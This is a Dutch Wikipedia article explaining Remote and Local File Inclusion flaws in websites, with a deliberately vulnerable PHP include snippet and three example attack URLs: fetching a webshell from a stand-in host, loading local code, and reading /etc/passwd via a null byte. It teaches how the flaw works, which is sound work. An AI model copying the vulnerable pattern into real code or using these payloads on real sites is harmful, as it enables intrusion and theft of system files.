Remote File Inclusion

Uit Wikipedia, de vrije encyclopedie

Remote File Inclusion (RFI) is een vorm van kwetsbaarheid die voornamelijk voorkomt op websites. Hierdoor kan de aanvaller een bestand op de server van de website zetten, meestal door middel van een al bestaand script op de webserver. Het lek treedt op als gevolg van het gebruik van gebruikersinput zonder juiste validatie. Dit kan leiden tot iets kleins zoals het afgeven van de inhoud van het bestand of meer ernstige gebeurtenissen zoals:

Types[bewerken | brontekst bewerken]

Remote File Inclusion[bewerken | brontekst bewerken]

Remote File Inclusion (RFI) is een vorm van kwetsbaarheid die voornamelijk voorkomt op websites. Hierdoor kan de aanvaller een bestand op de server van de website zetten, meestal door middel van een al bestaand script op de webserver. Het lek optreedt als gevolg van het gebruik van gebruikersinput zonder juiste validatie.

Local File Inclusion[bewerken | brontekst bewerken]

Local File Inclusion (LFI) lijkt op de Remote File Inclusion kwetsbaarheid, maar in plaats van afgelegen bestanden maakt het gebruik van lokale bestanden (bestanden die reeds op de server aanwezig zijn). Het lek treedt op ook als gevolg van het gebruik van gebruikersinput zonder juiste validatie.

Programmeertalen[bewerken | brontekst bewerken]

PHP[bewerken | brontekst bewerken]

In PHP is de hoofdoorzaak het niet valideren van externe variabelen zoals $_GET, $_POST en $_COOKIE. Het merendeel van de kwetsbaarheden kan worden toegeschreven aan beginnende programmeurs niet vertrouwd met alle mogelijkheden van de programmeertaal PHP. De PHP taal heeft een allow_url_fopen richtlijn die, indien ingeschakeld, laat bestandssysteem functies om een URL te gebruiken om gegevens uit externe locaties te halen. Een aanvaller zal een variabele die wordt doorgegeven aan een van deze functies te wijzigen om ervoor te zorgen dat het kwaadaardige code bevatten vanaf een externe bron. Om dit beveiligingslek alle input van de gebruiker moet worden bevestigd voordat het wordt gebruikt te beperken.

Het meest opvallende zijn include en require, maar de volgende zijn ook kwetsbaar indien niet geverifieerd: include_once, fopen, file_get_contents en require_once

Voorbeeld[bewerken | brontekst bewerken]

<?php

	if ( isset ( $_GET["PAGINA"] ) ) {
	   include ( $_GET["PAGINA"] . ".php" );
	}

?>

De maker hiervan wil natuurlijk dat dit gebruikt wordt om de pagina's van de website te weergeven, hoewel dit ook kan worden misbruikt door de aanvaller. Voorbeelden hiervan zijn:

* /kwetsbaar.php?PAGINA=http://evil.example.com/webshell.txt? - zet kwaadaardige code op de website.
* /kwetsbaar.php?PAGINA=exploit - laad kwaadaardige code die al op de webserver staat.
* /kwetsbaar.php?PAGINA=/etc/passwd%00 - laat de aanvaller de inhoud van het passwd bestand op een UNIX systeem.

Zie ook[bewerken | brontekst bewerken]

Externe links[bewerken | brontekst bewerken]